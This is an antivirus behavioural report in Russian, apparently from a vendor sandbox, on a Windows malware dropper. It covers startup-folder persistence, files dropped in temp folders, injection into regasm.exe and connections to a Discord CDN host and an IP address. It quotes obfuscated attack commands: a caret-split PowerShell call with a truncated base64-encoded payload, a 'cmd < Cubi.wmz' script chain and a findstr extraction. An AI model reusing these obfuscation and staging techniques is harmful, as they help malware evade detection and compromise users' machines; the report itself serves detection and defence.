Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\dmxagdwrqp.url
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c PO^w^eRS^he^LL -e WwBzAHkAUwBUAGUATQAuAHQAZQB4AHQALgBlAE4AYwBvAGQASQBuAEcAXQA6ADoAdQBOAGkAYwBPAGQARQAuAGcARQB0AHMAdAByAGkAbgBnACgAWwBzAHkAcwBUAGUATQAuAGMATwBuAHYAZQByAFQAXQA6ADoAZgByAG8ATQBi...
Внедряет код в
следующие пользовательские процессы:
- regasm.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\bit7cbd.tmp
- %TEMP%\7zipsfx.000\chiamasti.wmz
- %TEMP%\7zipsfx.000\cubi.wmz
- %TEMP%\7zipsfx.000\perpetuato.wmz
- %TEMP%\7zipsfx.000\piu.wmz
- %TEMP%\7zipsfx.000\volge.exe.com
- %TEMP%\7zipsfx.000\s
- %APPDATA%\wcalvbuhkw\x
- %APPDATA%\wcalvbuhkw\dmxagdwrqp.exe.com
- %APPDATA%\wcalvbuhkw\chiamasti.wmz
- %APPDATA%\wcalvbuhkw\nydqkxpo.js
- %TEMP%\7zipsfx.000\regasm.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\bit7cbd.tmp
Удаляет следующие файлы
- %TEMP%\7zipsfx.000\s
- %TEMP%\7zipsfx.000\chiamasti.wmz
Перемещает следующие файлы
- %TEMP%\bit7cbd.tmp в %TEMP%\dkfnwy.exe
Сетевая активность
Подключается к
- 'cd#.##scordapp.com':443
- '91.##2.78.27':228
TCP
Другие
- 'cd#.##scordapp.com':443
- '91.##2.78.27':228
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK wF########sHgRoQE.wFnNEmjnvGsHgRoQE
Другое
Ищет следующие окна
- ClassName: '#32770' WindowName: 'uaLNnTcyWwVpuwi0eFGYzdsnC3NVvy3suJD'
Создает и запускает на исполнение
- '%TEMP%\dkfnwy.exe'
- '%TEMP%\7zipsfx.000\volge.exe.com' s
- '%TEMP%\7zipsfx.000\regasm.exe'
- '<SYSTEM32>\cmd.exe' /c PO^w^eRS^he^LL -e WwBzAHkAUwBUAGUATQAuAHQAZQB4AHQALgBlAE4AYwBvAGQASQBuAEcAXQA6ADoAdQBOAGkAYwBPAGQARQAuAGcARQB0AHMAdAByAGkAbgBnACgAWwBzAHkAcwBUAGUATQAuAGMATwBuAHYAZQByAFQAXQA6ADoAZgByAG8ATQBi...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Cubi.wmz' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e WwBzAHkAUwBUAGUATQAuAHQAZQB4AHQALgBlAE4AYwBvAGQASQBuAEcAXQA6ADoAdQBOAGkAYwBPAGQARQAuAGcARQB0AHMAdAByAGkAbgBnACgAWwBzAHkAcwBUAGUATQAuAGMATwBuAHYAZQByAFQAXQA6ADoAZgByAG8ATQBiAGEAcwBlADYANABzAH...
- '%WINDIR%\syswow64\dllhost.exe'
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Cubi.wmz
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\findstr.exe' /V /R "^RnGNPTIKiPjBCIuFMihsBcpXwfNtrAJiYYsWRZHRnwcIaaqVuydxuqwcfIMAyDHGutCDdlNMmcSmqBFJfSYXpgwYXWGohiMVzOChPvFVaEVKoBcNrelhFK$" Perpetuato.wmz
- '%WINDIR%\syswow64\ping.exe' localhost -n 30
